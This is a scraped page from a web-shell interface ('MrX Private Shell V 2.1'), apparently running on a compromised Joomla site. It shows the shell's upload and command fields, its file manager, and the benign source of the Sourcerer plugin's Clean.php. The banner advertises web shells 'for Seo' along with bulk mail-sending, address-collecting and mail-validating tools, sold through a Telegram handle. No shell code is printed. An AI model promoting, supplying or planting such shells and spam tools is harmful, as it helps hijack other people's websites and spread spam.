__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * @package         Sourcerer
 * @version         10.0.4
 * 
 * @author          Peter van Westen <[email protected]>
 * @link            https://regularlabs.com
 * @copyright       Copyright © 2023 Regular Labs All Rights Reserved
 * @license         GNU General Public License version 2 or later
 */

namespace RegularLabs\Plugin\System\Sourcerer;

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\PluginTag as RL_PluginTag;
use RegularLabs\Library\Protect as RL_Protect;
use RegularLabs\Library\RegEx as RL_RegEx;
use RegularLabs\Library\StringHelper as RL_String;

class Clean
{
    public static function cleanFinalHtmlOutput(string &$html): void
    {
        RL_Protect::removeAreaTags($html, 'SRC');

        $params = Params::get();

        if ( ! $params->place_comments)
        {
            RL_Protect::removeCommentTags($html, 'Sourcerer');
        }

        if ( ! str_contains($html, $params->tag_character_start . '/' . $params->tag))
        {
            Protect::unprotectTags($html);

            return;
        }

        $regex = Params::getRegex();

        $html = RL_RegEx::replace(
            $regex,
            Protect::getMessageCommentTag(JText::_('SRC_CODE_REMOVED_NOT_ENABLED')),
            $html
        );

        Protect::unprotectTags($html);
    }

    public static function cleanTagsFromHead(string &$string): void
    {
        if ( ! RL_String::contains($string, Params::getTags(true)))
        {
            return;
        }

        $params = Params::get();

        [$tag_start, $tag_end] = Params::getTagCharacters();

        $inside_tag = RL_PluginTag::getRegexInsideTag($tag_start, $tag_end);
        $spaces     = RL_PluginTag::getRegexSpaces();

        $tag_start = RL_RegEx::quote($tag_start);
        $tag_end   = RL_RegEx::quote($tag_end);

        $regex = Params::getRegex();

        // Remove start tag to end tag
        $string = RL_RegEx::replace(
            $regex,
            '',
            $string
        );

        // Remove start tag with optional php stuff after it
        $string = RL_RegEx::replace(
            $tag_start . RL_RegEx::quote($params->tag) . '(' . $spaces . $inside_tag . ')?' . $tag_end
            . '(\s*<\?php(.*?)\?>)?',
            '',
            $string
        );

        // Remove left over end tags
        $string = RL_RegEx::replace(
            $tag_start . '\/' . RL_RegEx::quote($params->tag) . $tag_end,
            '',
            $string
        );
    }
}

Filemanager

Name Type Size Permission Actions
Area.php File 1.81 KB 0664
Clean.php File 2.47 KB 0664
Items.php File 5.79 KB 0664
Params.php File 4.88 KB 0664
Protect.php File 1.18 KB 0664
Replace.php File 18.2 KB 0664
Security.php File 2.62 KB 0664
Filemanager